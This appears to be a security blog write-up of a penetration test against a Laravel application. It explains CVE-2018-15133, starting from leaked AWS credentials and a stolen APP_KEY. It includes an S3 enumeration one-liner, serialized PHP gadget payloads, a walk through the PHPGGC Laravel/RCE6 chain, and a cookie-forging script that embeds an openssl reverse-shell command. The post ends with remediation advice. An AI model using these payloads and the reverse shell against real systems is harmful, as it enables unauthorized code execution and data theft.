• Insight
  • 15 min read

From S3 Bucket to Laravel Unserialize RCE

Insecure deserialization is a common vulnerability (OWASP TOP10) that very often leads to arbitrary code execution. Today, I’m going to explain how to turn a seemingly harmless deserialization into code execution.

Laravel is weirdly helpful when APP_DEBUG is enabled. It should never be used outside a local dev environment. Errors will not only print out a really fancy error message with the entire stack trace, but also include all environment variables of the application account. That’s not something you want, since environment variables very often contain secrets.

In a Laravel application, a variable named APP_KEY is used as the encryption secret for all symmetric encryption within the application. The app key was however not included in the error message. A reasonable explanation would be that it is simply not defined as a environment variable but instead hard coded or inserted in the source code at some point in the pipeline.

There was however a few interesting secrets in the environment variables. Among them an AWS key ID and corresponding secret. I knew the target made use of S3 so I put together a script that retrieves directory list of the files I can access.

for bucket in $(aws s3 ls | cut -d " " -f 3); do aws s3 ls s3://$bucket --recursive > ./$bucket.txt; done; 

One of the buckets was particularly interesting, it served as a artifact repository and contained various versions of the application’s source code. So I downloaded the latest archive:

aws cp s3://bucketname/filepath/filename.zip . && unzip ./filename.zip 

Then found the secret inside ./config/app.php, using a recursive grep for APP_KEY.

What can you do with a stolen APP_KEY?

To understand the impact of a compromised app key we must first understand how Laravel sessions works. When you visit a Laravel website it gives you a cookie that looks like this:


// Base64 decoded: 
laravel_session = {

The json object consists of an initialization vector (IV), encrypted value (value), and a message authentication code (MAC). Laravel calculates these attributes by using the PHP OpenSSL extension. Symmetric encryption is performed using AES-128-CBC or AES-256-CBC and the MAC is a SHA-256 hash. The IV is a randomly generated value. Below you’ll see a simplified Laravel’s encryption, decryption and mac functions. The full versions can be found here.

function encrypt($cipher, $app_key, $value, $serialize = true)
 // Generate a random string of appropirate length 
 $iv = random_bytes(openssl_cipher_iv_length($cipher));
 // Serialize the value 
 // Then encrypt the value using the app key and iv 
 $value = openssl_encrypt(
 $serialize ? serialize($value) : $value,
 $cipher, $app_key, 0, $iv
 // Calculate a hash (see below) 
 $mac = calc_hash($iv = base64_encode($iv), $app_key, $value);
 // Format it as json 
 $json = json_encode(compact('iv', 'value', 'mac'));
 return $json;

The MAC is based on the encrypted value, iv and key:

function calc_hash($iv, $app_key, $value)
 return hash_hmac('sha256', $iv.$value, $app_key);

The decryption is naturally the reverse of the encryption. The important take away from the decrypt function is that any properly decrypted payload will be deserialized, unless the parameter unserialize is explicitly set to false (the mac must also be valid of course). Deserialization is enabled by default in Laravel versions up to 5.5.40, and all versions from 5.6.0 to 5.6.29.

function decrypt($cipher, $app_key, $payload, $unserialize = true)
 $iv = base64_decode($payload['iv']);
 // Decrypt the value using the public iv and secret app key 
 $decrypted = openssl_decrypt(
 $payload['value'], $cipher, $app_key, 0, $iv
 if ($decrypted === false) {
 return NULL;
 // We will only get here if the decryption did not fail
 // Unserialize the decrypted value 
 return $unserialize ? unserialize($decrypted) : $decrypted;

TLDR: Anyone who have access to the app key can both impersonate other users and, if enabled, make the application deserialize arbitrary data.

Insecure deserialization in PHP

Most programming languages provide a mechanism for transforming objects to a storable representation and vice versa. While the concept is similar, the implementations varies heavily between languages. Deserialization attacks are therefore naturally very different depending on what specific deserialization implementation you are up against.

Laravel uses the built-in functions named serialize and unserialize. Let’s look at an example to familiarize ourselves with serialization in PHP. The below script defines a simple User class and is able to serialize and deserialize objects.

class User {
 public $name;
 private $admin;

 public function __construct($name) {
 $this->name = $name;
 $this->admin = False; // users are not admin by default
 public function is_admin() {
 return $this->admin; 

if( isset($_GET['user']) ) 
 // Deserialize the user input 
 $user = unserialize(base64_decode($_GET['user']));
 echo 'Welcome back, ' , $user->name , '!
 // Check if the user is admin
 if ( $user->is_admin() ) {
 echo 'You are admin!';

// Create a user that is not admin. 
$user = new User("Bob");
echo 'Welcome! <a href="/?user=',base64_encode(serialize($user)),'">This is your user link</a>.';
echo 'Your serialized user looks like this:
echo serialize($user) , '

Without any parameters it gives the following output:

Welcome! This is your user link.
Your serialized user looks like this:

Compare the serialized user, with the type representations shown below to get a better idea. The format depends on the type but are more or less specifier, length of value, and value, separated by colon. Key-value pairs are contained inside curly braces.

serialize(1337) i:1337;
serialize("This is a string") s:16:"This is a string";
serialize(NULL) N;
serialize(True) b:1;
serialize(False) b:0;
serialize(array(1,2)) a:2:{i:0;i:1;i:1;i:2;}
serialize(new stdClass()) O:8:"stdClass":0:{}

Note that functions are not serialized. Deserialization is not like eval that dynamically interprets code. Deserialization will consider a known class and restore an object of that class, according to the state you provide. The class must thus be defined before the deserialization.

We can also use the script to play with deserialization. By clicking the link we send in the serialized object as a GET parameter. Naturally, we get a response saying “Welcome back, Bob”.

What we have just witnessed is an example of a insecure deserialization. The attacker can obviously control the data that is going to be serialized. For example, we can make ourselves admin by editing the serialized object and setting the private member admin to true.


Code execution during deserialization

We have seen an example of why you shouldn’t trust users with a serialized object. But how could this lead to code execution? As attackers, we cannot add/modify functions, explicitly call functions, or declare new classes. What we can do however, is to swap out the object altogether, and provide a serialized object of another (already existing) class. If we choose class wisely, it might just do exactly what we need during the deserialization process.

PHP has magic functions that will automatically execute during deserialization. For example, the function __wakeup() will implicitly run to restore the state after deserialization. Another function that will be executed is the __destruct() function. Classes inherit these functions and may implement their own versions of them to suit their specific needs.

Knowing this, we want to find classes in the target that implements something “useful” in one of its magic functions. A class that does something useful is called a gadget. In rare cases, the application happens to have a class that does just about everything we want. Assume the class below is added to the script we previously used.

class FileDirectory 
 public $path;
 private $fs_check = 'test -d / && echo 1';

 public function __construct($path) {
 $this->path = $path;
 public function __wakeup() {
 if( !$this->check_fs() ) {
 throw new Exception('Cannot access file system.');
 public function check_fs() {
 return "1n" === shell_exec($this->fs_check);

The GET parameter “user” in our example expects a serialized User object. What would happen if we instead provide a serialized FileDirectory object?

O:13:"FileDirectory":2:{s:4:"path";s:5:"/tmp/";s:21:"FileDirectoryfs_check";s:19:"test -d / && echo 1";}

We get an error saying
Uncaught Error: Call to undefined method FileDirectory::is_admin()

That’s pretty cool, it deserialized the FileDirectory object and did not throw an error until a few lines below, when it tried to access the method named is_admin.

The FileDirectory class performs some form of check in the __wakeup function and if we look closely we see that, whatever the member fs_check it is set to will be executed in a shell. Since we have full control over the object we can change the value and execute whatever we want. Let’s try executing touch that, if executed, will create a file named winning in /tmp/.

O:13:"FileDirectory":2:{s:4:"path";s:2:"aa";s:27:"FileDirectoryfs_check";s:18:"touch /tmp/winning";}

We provide the new serialized object , and see that even if we are still getting errors, the command is executed during the deserialization and the file is created.

Introduction to gadget chains

Finding a gadget like this in a real application is not very probable. It is however almost certain that there will be a series of classes that you can combine, so that their chained magic functions will result in code execution. That’s what’s called a gadget chain. Remember that we are not limited to the application’s source code, but also PHP itself and all dependencies of the application.

Manually crafting gadget chains can be a very time consuming task. So luckily, some really smart people have already done the hard work for us. PHPGGC is a script that can be used to create payloads based on a curated list of known PHP gadget chains (very similar to Java’s YSoSerial). PHPGGC has chains for many widely used dependencies, so it’s likely that at least one of the chains will work on your target. Let’s see how real life gadget chains work by looking at an example.

./phpggc Laravel/RCE6 "echo 'hello world';"

The Laravel/RCE6 payload requires Laravel and Mockery. The chain looks as follows (spaces/newlines added):

 s:35:"<?php echo 'hello world'; exit; ?>";

Let’s see what happens when it is deserialized. The outer object is a IlluminateSupportMessageBag containing a IlluminateBroadcastingPendingBroadcast. The PendingBroadcast class has a destructor that will be automatically called during deserialization. This is our “entry point” to code execution:

// class: Illuminate/Broadcasting/PendingBroadcast
public function __destruct()

Go back up to the serialized payload, you’ll see it is setup so that “events” is a IlluminateBusDispatcher object and “event” is a IlluminateBroadcastingBroadcastEvent object.

So in other words the dispatch function of the Dispatcher class will be called. That function looks like this:

// class: Illuminate/Bus/Dispatcher
public function dispatch($command)
 if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
 return $this->dispatchToQueue($command);
 return $this->dispatchNow($command);

The argument $command is our BroadcastEvent object and $this->queueResolver is setup to be an array with a EvalLoader object and a string referencing its function “Load”.

The if statement containing the commandShouldBeQueued call, will return true if $command is a ShouldQueue object. Since BroadcastEvent is a subclass of ShouldQueue we will therefore end up with a function call to dispatchToQueue.

// class: Illuminate/Bus/Dispatcher
public function dispatchToQueue($command)
 $connection = $command->connection ?? null;
 $queue = call_user_func($this->queueResolver, $connection);
 if (! $queue instanceof Queue) {
 throw new RuntimeException('Queue resolver did not return a Queue implementation.');
 if (method_exists($command, 'queue')) {
 return $command->queue($queue, $command);
 return $this->pushCommandToQueue($queue, $command);

On the second line there is a call to the PHP function named call_user_func that is used to call “variable named functions”. It is used like this:

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $...]] )

The $callback will be the EvalLoader object and the $parameter will be $command->connection. Go back to the serialized payload and you’ll see that the BroadcastEvent object is setup so that the connection is a MockDefinition object.

The MockDefinition object contains the members code and config. The config is just a placeholder config and the code is the payload we want to execute.

Now to the final piece of the puzzle. The queueResolver is setup so call_user_func will call EvalLoader’s load function. In that function we see how our arbitrary code that is stored inside the MockDefinition object gets executed.

// class: Mockery/Loader/EvalLoader
public function load(MockDefinition $definition)
 if (class_exists($definition->getClassName(), false)) {
 eval("?>" . $definition->getCode());

We see that getCode is used to get the member named code. The argument to eval is prepended by “?>” which explains why we wrap our arbitrary code in php tags.


Laravel/RCE6 is a serialized object that is carefully crafted so that an implicit call to destruct leads us down a chain of function calls:

--> Illuminate/Broadcasting/PendingBroadcast::__destruct()
--------> Illuminate/Bus/Dispatcher::dispatch()
--------------> Illuminate/Bus/Dispatcher::dispatchToQueue()
--------------------> call_user_func()
--------------------------> Mockery/Loader/EvalLoader::load()
--------------------------------> eval()

It ends in a eval call from the EvalLoader::load function, with our arbitrary code as the argument. Awesome!

Delivering the payload

The final step before we can send the payload is to format it in the proper way for Laravel to actually decrypt and deserialize it. First we’ll generate the payload, then we use the stolen app key to encrypt and hash it. The values should then go into a base64 encoded json object. Let’s write a simple script that does all of that:

$cipher = 'AES-256-CBC';
$app_key = 'base64:*********F0=';
$chain_name = 'Laravel/RCE6';
$payload = 'system('mkfifo .s && /bin/sh -i < .s 2>&1 | openssl s_client -quiet -connect > .s && rm .s');';

// Use PHPGGC to generate the gadget chain
$chain = shell_exec('./phpggc/phpggc '.$chain_name.' "'.$payload.'"');
// Key can be stored as base64 or string.
if( explode(":", $app_key)[0] === 'base64' ) {
 $app_key = base64_decode(explode(':', $app_key)[1]);
// Create cookie
$iv = random_bytes(openssl_cipher_iv_length($cipher));
$value = openssl_encrypt($chain, $cipher, $app_key, 0, $iv);
$iv = base64_encode($iv);
$mac = hash_hmac('sha256', $iv.$value, $app_key);
$json = json_encode(compact('iv', 'value', 'mac'));

// Print the results

The payload (line 5) is a OpenSSL reverse shell that I described in a previous post. To try it out we start a local Laravel app and send the payload to it.

The request itself just returned 200 OK as normal, but when we look at our reverse shell server we see we got a shell during the deserialization. Wohoo!

Wrapping up

In summary, the impact was pre-authentication remote code execution and the following vulnerabilities/misconfiguration allowed it to happen:

  1. Debug mode enabled
  2. Too wide privileges for application AWS credentials
  3. Hard coded secrets in source code
  4. Insecure deserialization (CVE-2018-15133)

The vulnerability that allows insecure deserialization was originally discovered by Ståle Pettersen and has been public since July 2018. However, many organizations haven’t patched it since it can only be exploited if the attacker knows the Laravel APP_KEY. As seen in this case, secrets can leak in unexpected ways and I would strongly recommend disabling deserailization unless you really need it.

If you Laravel still have the preconfigured default app key that was present in older versions, you might wanna change that ASAP.